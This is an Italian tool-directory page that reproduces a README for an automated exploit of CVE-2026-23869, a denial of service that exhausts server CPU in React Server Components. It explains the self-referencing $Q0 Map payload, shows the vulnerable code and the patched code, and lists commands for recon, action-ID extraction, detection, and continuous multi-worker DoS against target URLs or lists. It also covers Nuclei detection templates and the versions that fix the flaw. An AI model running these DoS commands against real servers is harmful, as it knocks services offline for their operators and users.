Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-23869-Exploit — Strumento di sfruttamento automatizzato per CVE-2026-23869, un DoS remoto nei React Server Components. Include PoC, template Nuclei e script di scansione per rilevamento e sfruttamento. | Kitploit
Strumenti/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

Strumento di sfruttamento automatizzato per CVE-2026-23869, un DoS remoto nei React Server Components. Include PoC, template Nuclei e script di scansione per rilevamento e sfruttamento.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
91125 mesi faNon ancora revisionato
Condividi

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

Denial-of-Service remoto non autenticato tramite React Flight Protocol
Esaurimento CPU quadratico nella deserializzazione delle Map dei Server Components

Panoramica • Come funziona • Strumenti • Installazione • Utilizzo • Nuclei • Correzione • Disclaimer


Panoramica della vulnerabilità

CampoDettaglio
ID CVECVE-2026-23869
AliasReact2DoS
Punteggio CVSS7.5 (Alto)
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (Consumo di risorse non controllato)
TipoDenial of Service remoto non autenticato
Scoperto daYohann Sillam (Imperva Threat Research)
Versioni vulnerabilireact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
Versioni corretteReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

Esiste una vulnerabilità critica di Denial-of-Service nella deserializzazione del protocollo Flight dei React Server Components. Un attaccante non autenticato può inviare una singola richiesta HTTP appositamente costruita a qualsiasi endpoint Server Action dell'App Router di Next.js, causando un esaurimento CPU quadratico O(n²) che blocca il server per minuti.

Riferimenti

  • Avviso ufficiale Vercel
  • Analisi tecnica Imperva — "React2DoS"
  • Patch React PR #36236
  • Voce NVD

Come funziona

Il bug: flag consumed mancante nella deserializzazione delle Map

Il protocollo Flight di React utilizza marcatori speciali per serializzare i tipi di dati. $Q rappresenta un oggetto Map. Quando il server riceve un payload contenente marcatori $Q0 auto-referenziati:

Payload: [ [1,1], [1,1], ...(n voci valide)..., "$Q0", "$Q0", ...(n riferimenti)... ]

Ogni $Q0 attiva un costruttore new Map() che itera su tutte le n voci valide. Il costruttore Map genera un errore (perché le voci sono malformate), ma il bug critico è: il flag consumed non viene mai impostato in caso di errore.

Ciò significa che il successivo $Q0 ricalcola esattamente la stessa Map da zero → creando una complessità O(n²):

n voci valide × n riferimenti $Q0 = n² chiamate al costruttore Map

Esempio: 65.000 × 65.000 = 4.225.000.000 operazioni
Risultato: una singola richiesta blocca la CPU per 5-10+ minuti

Flusso dell'attacco

┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ Attaccante │ ──────────────────────────────────────▶ │  Server Next.js  │
│          │     Header: Next-Action: <action_id>   │                  │
│          │     Body: [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% BLOCCATA   │
└──────────┘                                        │  per ~5-10 min   │
                                                    └──────────────────┘

Codice vulnerabile (prima della correzione)

// ReactFlightReplyServer.js — PRIMA della patch
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← Fallisce ma non imposta consumed = true
                         //   Il successivo $Q0 ricalcola da zero
}

Codice corretto (dopo la correzione)

// ReactFlightReplyServer.js — DOPO la patch (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← Fix: imposta il flag PRIMA della costruzione
  return new Map(data);  //   Previene il ricalcolo ripetuto
}

Strumenti inclusi

FileDescrizione
poc.pyStrumento di exploit completamente automatico con pipeline a 4 fasi (Recon → Extract → Detect → Exploit)
CVE-2026-23869.yamlTemplate di rilevamento Nuclei con orchestrazione basata su flussi
scan.shScript wrapper: filtro live httpx + scansione nuclei
extract-action-ids.shEstrattore autonomo di Server Action ID

Installazione

# Clona il repository
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Installa la dipendenza Python
pip install requests

# Rendi eseguibili gli script
chmod +x poc.py scan.sh extract-action-ids.sh

Dipendenze opzionali

# Per la scansione con template Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Per il filtraggio dei target live
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Utilizzo

🔥 Scansione automatica completa (target singolo)

Basta fornire l'URL — lo strumento fa tutto automaticamente:

python3 poc.py -u https://target.com

Cosa succede:

  1. Fase 1 — Recon: Rileva l'impronta di Next.js (header, marcatori HTML, build ID)
  2. Fase 2 — Extract: Trova gli Server Action ID dai bundle JS
  3. Fase 3 — Detect: Verifica di vulnerabilità sicura basata sui tempi (sonda da 500 voci)
  4. Fase 4 — Report: Mostra il verdetto di vulnerabilità con analisi dei tempi

📋 Scansione batch (più target)

# Scansiona un elenco di domini/IP
python3 poc.py -L targets.txt

# Con report JSON in output
python3 poc.py -L targets.txt -o results.json

🎯 Modalità manuale (Action ID noto)

# Solo rilevamento sicuro
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# Exploit a colpo singolo
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# DoS continuo (10 worker)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Estrai solo gli Action ID

python3 poc.py -u https://target.com --extract

⚙️ Tutte le opzioni

Options:
  -u, --url URL          URL del target (target singolo)
  -L, --list FILE        File con URL/IP dei target (uno per riga)
  -a, --action-id ID     Server Action ID (salta l'estrazione automatica)
  --detect               Solo rilevamento — sicuro, non distruttivo (predefinito)
  --single               Exploit a colpo singolo dopo il rilevamento
  --exploit              DoS continuo dopo il rilevamento
  --extract              Estrai solo gli action ID
  -l, --length N         Voci del payload (predefinito: 130000)
  -w, --workers N        Worker concorrenti (predefinito: 5)
  -d, --delay SEC        Ritardo tra le richieste (predefinito: 1.0)
  -o, --output FILE      Salva report JSON
  -t, --threads N        Target concorrenti per scansione elenco (predefinito: 3)

Compatibilità all'indietro

La sintassi originale del PoC funziona ancora:

python3 poc.py <ACTION_ID> <URL>

Template Nuclei

Scansione rapida

# Target singolo
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# Più target
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
Scarica lo strumento